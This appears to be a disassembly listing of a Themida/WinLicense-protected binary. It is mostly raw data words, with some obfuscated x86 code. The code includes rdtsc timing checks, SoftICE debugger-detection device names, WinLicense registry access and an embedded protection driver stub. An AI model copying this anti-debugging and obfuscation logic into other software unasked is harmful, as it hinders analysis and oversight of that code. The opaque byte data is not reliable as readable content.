0AE0389Eh, 0C1947959h dd 0E046A64Ch, 7F739338h, 0E5DFAE3Ch, 857B4D7Fh, 22E47860h dd 62BA204Fh, 167F7393h, 1C82EE54h, 755D3EEFh, 0E2DCABD1h dd 0E541D5BDh, 0C691B723h, 68058BEh, 0ECB47959h, 59065686h dd 0BA20E279h, 8D3D754h, 5D2DE106h, 621F75Dh, 91537959h dd 12F3BD2Bh, 22FDBE75h, 3606Bh, 41370800h, 0F4F2C0C4h dd 0A5A77377h, 5C522428h, 100EDBDFh, 0F3C29093h, 0A7AB2826h dd 5D61DED8h, 0F139092h, 0A2C8453Fh, 0A6CAC12h, 35087959h dd 0B380A6C0h, 14A890B5h, 4F746E3Eh, 0ACD1CB9Bh, 10E20814h dd 0CD86861Ah, 7391D807h, 9840A67Fh, 9C7F7390h, 2F4B74DAh dd 87BB3132h, 0FFFFFD1Fh, 1610E0B4h, 897E51F1h, 0AE96BBBDh dd 7376DC48h, 0F1755B8Ah, 0DC01FBCBh, 0FAF0C2F4h, 0FD59EDD5h dd 0E555BE3Bh, 1A3B0E86h, 867148AEh, 0C183755Bh, 6D370F35h dd 7DA11162h, 0A6785CC0h, 4C0EA259h, 0CCF05C79h, 0C781CB55h dd 9FAF4383h, 644CD239h, 9602C4DBh, 0FA3A570h, 0B2D3A646h dd 2086E646h, 0CB1B84F8h, 0B888BA7Ch, 9B142ABEh, 0B9C13340h dd 3D625C2Bh, 5D83EF55h, 1216938Dh, 64DA4842h, 1002CFD7h dd 2777E35h, 4E1F0000h, 9D7DB58h, 0BE8A8E0Bh, 693B3FBCh dd 25F2F673h, 0FBA7AA27h, 0C23F3D0Ah, 78F5EFBEh, 2AA7A974h dd 0DF5C5626h, 15C329B9h, 1F795909h, 21F4D74Ch, 486D6B38h dd 0A6CBC594h, 86F258BEh, 5D3EFD20h, 51BD7F75h, 0E15E602Bh dd 0EB1012DDh, 0FF6D6737h, 0BE751141h, 1A99502Bh, 0C2000002h dd 7A7EFBF1h, 2D31AEACh, 0DEE25F61h, 9599160Ch, 4A4DCAC8h dd 0E2E0AD1Ch, 98926165h, 4A4C171Bh, 0FFF9C9CDh, 66CC5C82h dd 795908B6h, 0F47AEFC2h, 38980421h, 93AA72D8h, 42CE7F73h dd 9B9A9C68h, 0F78BF128h, 5D7A3EE1h, 0C62C8C75h, 79594A16h dd 70CC6022h, 4C1C42AEh, 10E5D552h, 0F12187F3h, 7379594Ah dd 0BD88CB1h, 0AC22E80Dh, 0A775DBDFh, 0D179594Ah, 567B7143h dd 25A2086Eh, 0D7436035h, 3D375377h, 1C77C6EDh, 66A27288h dd 4C67959h, 615B2BDFh, 88EE4E3Ch, 79596650h, 0A68E22E4h dd 0E9666030h, 85115E5h, 0A676DC24h, 0D27959E3h, 86FCE010h dd 635176DCh, 2055EC3Fh, 89C32BCh, 1C267937h, 0DD43A363h dd 7959C13Fh, 0CD0B7139h, 677959C1h, 0D5AB3FA5h, 74723F05h dd 0BD8D910Eh, 1DEA9EC3h, 8533FA1Fh, 72978D5Fh, 3DF6F68Ah dd 8F85577Dh, 5B5525FBh, 8BCFCBEFh, 4994C905h, 0C39094B5h dd 7D3559C5h, 8ACF2B9Eh, 0C3723BCFh, 0EFA8B2EDh, 219E9C69h dd 2D52501Dh, 0A379DF3Fh, 0D5795972h, 0DEA97F13h, 57EBB7DCh dd 4D4B189Eh, 2FCCCD0h, 8DF1E9DDh, 0DD7121CCh, 0D4CE9E24h dd 76744268h, 0EDBDC1E2h, 0AD6387F3h, 8B6F67ECh, 0AACFCD9Bh dd 5F2A5CC2h, 4C00C95Dh, 825C817Fh, 0FBCB510Ah, 0C61C3637h dd 0AC871953h, 0FA7AAA0Eh, 6FEC5251h, 7CA19B6Bh, 80EC09DCh dd 0FC908A5Ah, 9CAB86ECh, 0F319CBC5h, 19BF2521h, 1BBBB5F4h dd 35FF359h, 1D4C441h, 0F51278E4h, 97B19B59h, 2CFCB0D5h dd 1777B532h, 836F6BB1h, 25F359B5h, 4FB5836Fh, 7F13D58Dh dd 0BADFD9A9h, 66ECB0C6h, 0F3AC2406h, 37A39D6Dh, 21464411h dd 3E380739h, 7C9D3119h, 8349183Eh, 0AC94B9B3h, 0A26D2146h dd 2D937BA0h, 0F9F3C399h, 584E20D4h, 1AD36733h, 4DCAC494h dd 5A7F7949h, 18E60C6Ch, 9B0DF51Ah, 65A7EC7Dh, 8EB3AD7Dh dd 982CEEA6h, 8BFh, 6587C600h, 0E276703Fh, 190FE0A7h, 767040F4h dd 0D0D29D51h, 2E28F7ABh, 8A885509h, 0E6E4B165h, 453B0DC1h dd 9EA06C20h, 0F9F7C579h, 8950FFD4h, 405E0h dd 0E8830000h, 24048704h, 5024248Bh, 405E089h, 83000000h dd 48704E8h, 2C895C24h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 56241C89h, 667AD068h, 0F7565E0Eh, 815E2414h dd 911034C6h, 5EF58914h, 8904EC83h, 4832424h, 505B0424h dd 8B8h, 51D80100h, 0B9h, 89C10100h, 8B585929h ; --------------------------------------------------------------------------- sbb al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_551321 ; --------------------------------------------------------------------------- dw 885Ch ; --------------------------------------------------------------------------- push edx loc_57313D: ; CODE XREF: Themida_:loc_57285Dj mov eax, 62A9D5Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0E0B7h dd 0D8263382h, 5AB1109Eh, 309C26ADh, 84095C92h, 0FD490C00h dd 61153463h, 2179294Dh, 477BFh, 69AC27B3h, 75C86B52h dd 0AC3D0419h, 61B1386Bh, 0E549544Ch, 196D5F33h, 3B5B0064h dd 0DEB47DC3h, 27F221F7h, 5E911BEEh, 0F0BC3471h, 907D47CDh dd 26B67165h, 9C0749FBh, 0A84648AFh, 97DC11DDh, 0F2BF5E21h dd 4254736Ah, 6EDB770Ch, 0C82266EBh, 0F1AE6134h, 0AA2918AFh dd 5E84241h, 0E3000000h, 806DCC12h, 5AF88B66h, 6C39C281h dd 680000h, 0E8000000h, 9, 21847A73h, 0FD91750Ah, 0F59580Bh dd 34FFC0BFh, 9880F11h, 0F000000h, 38Ch, 0FE8B6600h, 4EDABF5Bh dd 0F3813161h, 2436425h, 3C78166h, 0B8C381D3h, 81423130h dd 2E1776EBh, 5E87Ch, 0C4FD0000h, 5EAC4235h, 8F585253h dd 0B70F0A04h, 3E983C3h, 7E9h, 0BE011C00h, 0DF994230h dd 60F98149h, 0FFFFF94h, 0FFFFA185h, 12E9FFh, 4D0C0000h dd 75EB8474h, 36177588h, 0F8A0882Ah, 0E3EBAA02h, 8EE9h dd 0BD836000h, 6282155h, 5840F00h, 0E9000000h, 79h, 3E80006Ah dd 8850F30h, 6A000000h, 35E94600h, 80000000h, 850F333Eh dd 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h, 13E9h dd 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h, 0F203E80h dd 1285h, 17E8000h, 8850F00h, 83000000h, 16E908C4h, 8D000000h dd 281D9185h, 4895006h, 34895024h, 0FF006A24h, 280DE995h dd 0C6C36106h, 280D2585h, 4E84D06h, 0A8000000h, 50A43576h dd 424448Bh, 4489008Bh, 0FF580424h, 28174DB5h, 0BB858D06h dd 0FF06283Bh, 0E98589D0h, 0E906280Dh, 0AAh, 74666F53h dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h dd 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 2AA08185h dd 7D858D06h, 50062AA0h, 9FE7858Dh, 6850062Ah, 80000001h dd 0A08D95FFh, 196A062Ah, 0A081B5FFh, 16A062Ah, 858D006Ah dd 62AA016h, 7DB5FF50h, 0FF062AA0h, 2823C195h, 7DB5FF06h dd 0FF062AA0h, 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h dd 8589C306h, 62AA081h, 0A07D858Dh, 8D50062Ah, 2A9FE785h dd 1685006h, 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h dd 46A5006h, 858D006Ah, 62AA040h, 7DB5FF50h, 0FF062AA0h dd 2823C195h, 7DB5FF06h, 0FF062AA0h, 2AA08995h, 7DB5FF06h dd 0FF062AA0h, 28203D95h, 8589C306h, 62AA081h, 0A07D858Dh dd 8D50062Ah, 2A9FE785h, 1685006h, 0FF800000h, 2AA08D95h dd 8D046A06h, 2AA08185h, 46A5006h, 858D006Ah, 62AA028h dd 7DB5FF50h, 0FF062AA0h, 2823C195h, 7DB5FF06h, 0FF062AA0h dd 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h, 8589C306h dd 62AA081h, 0A07D858Dh, 8D50062Ah, 2A9FE785h, 1685006h dd 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h, 46A5006h dd 858D006Ah, 62AA053h, 7DB5FF50h, 0FF062AA0h, 2823C195h dd 7DB5FF06h, 0FF062AA0h, 2AA08995h, 7DB5FF06h, 0FF062AA0h dd 28203D95h, 8589C306h, 62AA081h, 0A07D858Dh, 8D50062Ah dd 2A9FE785h, 1685006h, 0FF800000h, 2AA08D95h, 8D046A06h dd 2AA08185h, 46A5006h, 858D006Ah, 62AA003h, 7DB5FF50h dd 0FF062AA0h, 2823C195h, 7DB5FF06h, 0FF062AA0h, 2AA08995h dd 7DB5FF06h, 0FF062AA0h, 28203D95h, 0BD83C306h, 6280D09h dd 0B840F00h, 8B000000h, 280D099Dh, 4CC38306h, 83C30389h dd 280D09BDh, 840F0006h, 0Bh, 0D099D8Bh, 0C3830628h, 0C3038950h dd 0D09BD83h, 0F000628h, 0B84h, 99D8B00h, 8306280Dh, 38954C3h dd 9BD83C3h, 6280Dh, 0B840Fh, 9D8B0000h, 6280D09h, 8958C383h dd 0BD83C303h, 6280D09h, 0B840F00h, 8B000000h, 280D099Dh dd 5CC38306h, 0C3C30389h, 81858960h, 8D062AA0h, 2AA07D85h dd 858D5006h, 62A9FE7h, 16850h, 95FF8000h, 62AA08Dh, 858D046Ah dd 62AA081h, 6A046A50h, 78858D00h, 50062AA0h, 0A07DB5FFh dd 95FF062Ah, 62823C1h, 149BD83h, 0F000628h, 0C84h, 7DB5FF00h dd 0FF062AA0h, 2AA08995h, 7DB5FF06h, 0FF062AA0h, 28203D95h dd 60C36106h, 0A0818589h, 858D062Ah, 62AA07Dh, 0E7858D50h dd 50062A9Fh, 168h, 8D95FF80h, 6A062AA0h, 81858D04h, 50062AA0h dd 6A046Ah, 0A05A858Dh, 0FF50062Ah, 2AA07DB5h, 0C195FF06h dd 83062823h, 280149BDh, 840F0006h, 0Ch, 0A07DB5FFh, 95FF062Ah dd 62AA089h, 0A07DB5FFh, 95FF062Ah, 628203Dh, 8960C361h dd 2AA08185h, 7D858D06h, 50062AA0h, 9FE7858Dh, 6850062Ah dd 80000001h, 0A08D95FFh, 46A062Ah, 0A081858Dh, 6A50062Ah dd 8D006A04h, 2AA06185h, 0B5FF5006h, 62AA07Dh, 23C195FFh dd 0BD830628h, 6280149h, 0C840F00h, 0FF000000h, 2AA07DB5h dd 8995FF06h, 0FF062AA0h, 2AA07DB5h, 3D95FF06h, 61062820h dd 858960C3h, 62AA081h, 0A07D858Dh, 8D50062Ah, 2A9FE785h dd 1685006h, 0FF800000h, 2AA08D95h, 8D046A06h, 2AA08185h dd 46A5006h, 858D006Ah, 62AA069h, 7DB5FF50h, 0FF062AA0h dd 2823C195h, 49BD8306h, 62801h, 0C840Fh, 0B5FF0000h, 62AA07Dh dd 0A08995FFh, 0B5FF062Ah, 62AA07Dh, 203D95FFh, 0C3610628h dd 81858960h, 8D062AA0h, 2AA07D85h, 858D5006h, 62A9FE7h dd 16850h, 95FF8000h, 62AA08Dh, 858D046Ah, 62AA081h, 6A046A50h dd 70858D00h, 50062AA0h, 0A07DB5FFh, 95FF062Ah, 62823C1h dd 149BD83h, 0F000628h, 0C84h, 7DB5FF00h, 0FF062AA0h, 2AA08995h dd 7DB5FF06h, 0FF062AA0h, 28203D95h, 60C36106h, 0A08185C7h dd 1062Ah, 858D0000h, 62AA07Dh, 0E7858D50h, 50062A9Fh dd 268h, 8D95FF80h, 0B062AA0h, 0F840FC0h, 0C7000000h, 2AA08185h dd 6, 4DE900h, 46A0000h, 0A081858Dh, 6A50062Ah, 8D006A04h dd 2A9FFB85h, 0B5FF5006h, 62AA07Dh, 23C195FFh, 0C00B0628h dd 0F840Fh, 85C70000h, 62AA081h, 0 ; --------------------------------------------------------------------------- jmp loc_57388F ; --------------------------------------------------------------------------- mov dword ptr [ebp+62AA081h], 1 loc_57388F: ; CODE XREF: Themida_:00573880j push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+628203Dh] popa mov eax, [ebp+62AA081h] retn ; --------------------------------------------------------------------------- pusha mov [ebp+62AA081h], eax lea eax, [ebp+62AA07Dh] push eax lea eax, [ebp+62A9FE7h] push eax push 80000001h call dword ptr [ebp+62AA08Dh] push 4 lea eax, [ebp+62AA081h] push eax push 4 push 0 lea eax, [ebp+62A9FFBh] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+62823C1h] cmp dword ptr [ebp+6280149h], 0 jz loc_5738FC push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+62AA089h] loc_5738FC: ; CODE XREF: Themida_:005738EAj push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+628203Dh] popa retn ; --------------------------------------------------------------------------- pusha mov [ebp+62AA081h], eax lea eax, [ebp+62AA07Dh] push eax lea eax, [ebp+62A9FE7h] push eax push 80000001h call dword ptr [ebp+62AA08Dh] push 4 lea eax, [ebp+62AA081h] push eax push 4 push 0 lea eax, [ebp+62AA00Dh] push eax push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+62823C1h] cmp dword ptr [ebp+6280149h], 0 jz loc_573963 push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+62AA089h] loc_573963: ; CODE XREF: Themida_:00573951j push dword ptr [ebp+62AA07Dh] call dword ptr [ebp+628203Dh] popa retn ; --------------------------------------------------------------------------- mov byte ptr [ebp+6280D25h], 52h push 0ADE47B07h push dword ptr [ebp+628105Dh] call dword ptr [ebp+62812A1h] mov [ebp+62AA08Dh], eax mov byte ptr [ebp+6280D25h], 52h push 902E00E5h push dword ptr [ebp+628105Dh] call dword ptr [ebp+62812A1h] mov [ebp+62AA089h], eax mov byte ptr [ebp+6280D25h], 52h push 0B9BF1235h push dword ptr [ebp+628105Dh] call dword ptr [ebp+62812A1h] mov [ebp+62823C1h], eax mov byte ptr [ebp+6280D25h], 52h push 98781034h push dword ptr [ebp+628105Dh] call dword ptr [ebp+62812A1h] mov [ebp+628203Dh], eax mov byte ptr [ebp+6280D25h], 52h push 0C005DBD4h push dword ptr [ebp+628105Dh] call dword ptr [ebp+62812A1h] mov [ebp+6281F69h], eax jmp short loc_573A27 ; --------------------------------------------------------------------------- db 2 dup(5Ch), 2Eh dd 4349535Ch, 5C5C0045h, 49535C2Eh, 44495657h, 2E5C5C00h dd 49544E5Ch db 43h, 45h, 0 ; --------------------------------------------------------------------------- loc_573A27: ; CODE XREF: Themida_:00573A07j mov eax, eax mov ecx, 7E81E906h mov di, si cmp dword ptr [ebp+6280149h], 0 jnz short loc_573A43 cmp dword ptr [ebp+62814C5h], 0 jz short loc_573A5C loc_573A43: ; CODE XREF: Themida_:00573A38j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6280291h], eax lea ebx, [ebp+62AA55Eh] call ebx pop ebx pop eax loc_573A5C: ; CODE XREF: Themida_:00573A41j cmp dword ptr [ebp+62814C5h], 0 jz short loc_573A7C push eax push ebx mov eax, 40Fh mov [ebp+6280291h], eax lea ebx, [ebp+62AA24Dh] call ebx pop ebx pop eax loc_573A7C: ; CODE XREF: Themida_:00573A63j jmp loc_573A8F ; --------------------------------------------------------------------------- db 0CDh, 0A0h, 97h dd 76EA3EC8h, 0EAD5962Fh db 5Bh, 3Bh, 9Eh ; --------------------------------------------------------------------------- loc_573A8F: ; CODE XREF: Themida_:loc_573A7Cj mov dx, 8F67h mov eax, eax mov edi, [ebp+6282AE9h] mov byte ptr [ebp+6280D25h], 43h add [ebp+62805D5h], esi and dx, 7B05h call sub_573AB6 cld outsb ; --------------------------------------------------------------------------- db 8Eh, 0BCh ; =============== S U B R O U T I N E ======================================= sub_573AB6 proc near ; CODE XREF: Themida_:00573AADp push eax mov cx, 0CCFFh mov eax, [esp+4] push eax push edx push eax mov dh, 5Eh pop edi rdtsc js loc_573AE0 jmp loc_573AE0 ; --------------------------------------------------------------------------- push ss fldcw word ptr [edi+ecx*8+3D054BEEh] sub al, 20h stosb add [edx+eax], edi loc_573AE0: ; CODE XREF: sub_573AB6+11j ; sub_573AB6+17j pop edx pop eax mov eax, [eax] mov ecx, ebx mov [esp+4], eax pop eax push 0 push ebp call sub_573AF6 and [ebp-3Dh], bl sub_573AB6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_573AF6 proc near ; CODE XREF: sub_573AB6+38p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_573AF6 endp ; --------------------------------------------------------------------------- dw 0FF9Ch dd 282DD5B5h, 0F1816606h, 858D0295h, 6283BBBh, 0F8D9509h dd 0D0FF0628h, 12C59529h, 0C6800628h, 8B669000h, 0F6050F2h dd 28Eh, 0FB5B500h, 684h, 0F525000h, 61585A31h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0BD2C8806h, 81006ADFh, 8636A3DEh, 28456811h, 0D58A7CFEh dd 0C5243481h, 607CFE28h, 0BD8BCF8Bh, 6281F5Dh, 8B036A61h dd 282BEDB5h, 6AF506h, 198D8D89h, 36A0628h, 59B58Bh, 79680628h dd 57DA1130h, 8E0F60h, 50000000h, 8159615Bh, 30792434h dd 10E91A11h, 0EA000000h, 0D32C36C1h, 46D35D07h, 7C801190h dd 8DBD577Ah, 2AA6C49Dh, 3DB58B06h, 50062804h, 0D0B1BE66h dd 0F241C89h, 0F80h, 0AE900h, 0C7430000h, 4DFB1280h, 0E290C79h dd 810FD0FFh, 6, 800Fh, 0F400000h, 34C85h, 810F6000h, 6 dd 3435952Bh, 0F600628h, 80h, 0CB8B6600h, 95896161h, 628092Dh dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0CC96C448h, 0FCB21931h, 13E9FFh, 0C8BA0000h dd 49594F4Bh, 0B52FAB45h, 0E123EA0Dh, 0EF673BA2h, 525050C7h dd 58C0Fh, 86BA0000h, 0F196296h, 5AF38A31h, 24048958h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 87C35646h dd 85B434AEh, 2AF9B58Bh, 6A0628h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0E6C35141h, 15E12C0Ch, 0DD958B21h dd 6806282Eh, 6FFE61C8h, 2810Fh, 0EF8A0000h, 48243481h dd 0F86FFE61h, 0C830Fh, 880F0000h, 6, 860Fh, 36A0000h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CDC35141h dd 6AF9D6FBh, 7E800h, 3AFE0000h, 0FD2E4F8Ah, 0C58529F2h dd 5E062820h, 8529036Ah, 6283359h, 259B9268h, 0DE86Ah dd 3DF70000h, 22732C56h, 53849C16h, 6673854Eh, 5AD8A3B9h dd 6E240481h, 6055DA64h, 5800Fh, 94BF0000h, 8B290DF2h dd 2809118Dh, 9D8D6106h, 62AA6CDh, 7E9BD8Bh, 85010628h dd 6280FA9h, 8D0F6050h, 6, 8C0Fh, 6AB50000h, 241C8961h dd 11E9h, 6AD60200h, 0B7DBA78Fh, 0B96A50D1h, 7EA77C7Bh dd 8D8B5327h, 628128Dh, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BD89EDC3h, 6280779h dd 82850F40h, 0F000001h, 681h, 39BD8900h, 58062807h, 0DF3C88BAh dd 5250902Bh, 595E5053h, 830F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax push eax jmp loc_573E0A ; --------------------------------------------------------------------------- dd 9916B9EFh, 0B3996E4Bh, 9CE40A56h ; --------------------------------------------------------------------------- mov dl, 1 loc_573E0A: ; CODE XREF: Themida_:00573DF7j nop push 0 push 0 push edi call sub_573E18 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573E18 proc near ; CODE XREF: Themida_:00573E10p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_573E18 endp ; --------------------------------------------------------------------------- dd 0E7B7418Ch, 0B58B0A18h, 62805E9h, 0E29BD8Bh, 1C680628h dd 52F6F7C5h, 8B665250h, 5A310FCAh, 4815A58h, 83B6424h dd 7840F09h, 52000000h, 0C1496CB9h, 7E85E0Ah, 6F000000h dd 0DDB6A3BBh, 8D8B615Dh, 6282331h, 89036A5Ah, 282481B5h dd 2B006A06h, 2824998Dh, 0E8036A06h, 10h, 6A048FB1h, 0A3159B65h dd 6B673768h, 0E4FD8098h, 0D759509h, 685F0628h, 0B64C9D49h dd 81CA8B66h, 9D492434h, 8D8B764Ch, 6280661h, 0B779C4B9h dd 0D89D8D20h, 89062AA6h, 282EE595h, 8A605006h, 81C9BFC5h dd 89614000h, 0AE8241Ch, 0EF000000h, 0E27FE905h, 0D4D36B60h dd 95BD8B59h, 59062814h, 9E8D0FFh, 0F6000000h, 0A86408A7h dd 59090C59h, 25A2E0BAh, 0F405E3Dh, 5085h, 158A0F00h, 0E9000000h dd 10h, 36E16F68h, 70BC2E8Ch, 1C0242BBh, 9AF8C881h, 55006A58h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 1CF8DAC2h, 4B007F57h, 179B589h, 36E90628h, 1000001h dd 2800819Dh, 0FD88B06h, 58Bh, 0E9816600h, 894B6971h, 28212D95h dd 6A5806h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 958BD0C3h, 6281775h, 0D2585C6h, 6A430628h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F207C351h, 0F930DBD2h, 3068D18Bh, 606C92D5h dd 0C28B6651h, 52506059h, 585A310Fh, 0DE9h, 6939EB00h dd 2838B969h, 0A68CCE9Bh, 6161107Eh, 77240481h, 0F53E375h dd 489h, 0E3B96600h, 0B18D8B62h, 0FF062834h, 282DD5B5h dd 0FABF0F06h, 3BBB858Dh, 8D8B0628h, 62804CDh, 860FD0FFh dd 6, 321D8509h, 0B5500628h, 241C89CBh, 6E9h, 0C260C300h dd 60B52EB7h, 4B26BE66h, 19D58501h, 0FF610628h, 0D9BD8BD0h dd 8D062823h, 2873C49Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 9D629391h, 58BD2778h dd 66F58D7Bh, 3AD1C181h, 1B8h, 0BE665300h, 0FF597211h dd 6800FE3h, 89000000h, 2829C595h, 50C18B06h, 8D858957h dd 5F062802h, 0E9C08B59h, 0Bh, 93010B99h, 8CA09C12h, 838E9DF0h dd 280149BDh, 9750006h, 14C5BD83h, 74000628h, 8B535019h dd 40FB8C0h, 85890000h, 6282E55h, 0A5C59D8Dh, 0D3FF062Ah dd 0BD83585Bh, 62814C5h, 50177400h, 40FB853h, 85890000h dd 6282E55h, 0A2669D8Dh, 0D3FF062Ah, 8D33585Bh, 6280E89h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 47C35040h dd 662337C4h, 0C08BF78Bh, 8E8h, 753B4800h, 0F089C358h dd 259D8970h, 5E06282Fh, 8318D0Bh, 0C6810628h, 67BFh, 0A0AF9FBAh dd 0FDB2B64h, 3C8BC3BFh, 2DEF811Eh, 662DE143h, 0EF81D08Bh dd 4262E040h, 1EF99529h, 0EF810628h, 7E106891h, 233D8509h dd 3C890628h, 0D2B70F1Eh, 4A1B589h, 0EB830628h, 0A74AB904h dd 0FB812127h, 0FFFF98D0h, 16850Fh, 8B660000h, 22E9D1h dd 27FE0000h, 1DC50D3h, 0D1C4D97Eh, 32498C27h, 22F98D33h dd 9BE90628h, 0FFFFFFh, 8BAAA216h, 7F5FB749h, 20EE9h, 61433300h dd 746F6E6Eh, 69727720h, 6F206574h, 6E616572h, 78762E73h dd 4D0D0A64h, 20656B61h, 65727573h, 61687420h, 68742074h dd 66207369h, 20656C69h, 6E207369h, 6220746Fh, 676E6965h dd 65737520h, 79622064h, 6F6E6120h, 72656874h, 6F727020h dd 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 0D2585C6h, 68470628h, 0E3E45B86h dd 2DD5B5FFh, 858D0628h, 6283BBBh, 468D0FFh, 8D000001h dd 2815299Dh, 0D0FF5306h, 68B58D50h, 8B062AB0h, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 2585C6A4h dd 4306280Dh, 8E6EFC68h, 0D5B5FFBCh, 8D06282Dh, 283BBB85h dd 8DD0FF06h, 281529B5h, 68006A06h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 0D2585C6h, 68570628h, 0A69BEE56h dd 2DD5B5FFh, 858D0628h, 6283BBBh, 0BD8DD0FFh, 628295Dh dd 0B18E8D8Dh, 6A062Ah, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 62AAE70h, 9F24858Dh, 0D0FF062Ah dd 73C48D8Dh, 0B80628h, 0FF000000h, 2585C6E1h, 4306280Dh dd 764AA768h, 0D5B5FFC0h, 8D06282Dh, 283BBB85h, 53D0FF06h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- cmp dword ptr [esi+0Ch], 0 jnz short loc_577C78 xor eax, eax jmp short locret_577C92 ; --------------------------------------------------------------------------- loc_577C78: ; CODE XREF: Themida_:00577C72j cmp dword ptr [esi+0Ch], 1 jnz short locret_577C92 lea eax, large ds:0 mov edi, [esi+18h] mov [edi], eax mov dword ptr [esi+20h], 4 xor eax, eax locret_577C92: ; CODE XREF: Themida_:00577C76j ; Themida_:00577C7Cj retn ; --------------------------------------------------------------------------- db 0Ch aXprotvxd_ddb db 'XPROTVXD_DDB',0 db 2 dup(0), 0E8h dd 0Ch, 613878B8h, 0BD25B7DFh, 55FE07DEh, 68D0F60h, 81000000h dd 8A4659D7h, 3860F65h, 0F000000h, 5F61C7BFh, 0DE9h, 0D9C73200h dd 98345203h, 96AD8303h, 0C78178BBh, 686Ch, 2BA98D89h dd 0EFB80628h, 0E9000019h, 7, 3A352C40h, 8B4A319Fh, 81CF8B1Fh dd 0F1CE3F3h, 0CDB58B06h, 81062833h, 378684C3h, 0D3D1816Dh dd 81792C82h, 8D6D28F3h, 3AB96635h, 8A1F893Dh, 0E5EF81EFh dd 0E92039B1h, 0Eh, 0EC67A255h, 9D39F7A4h, 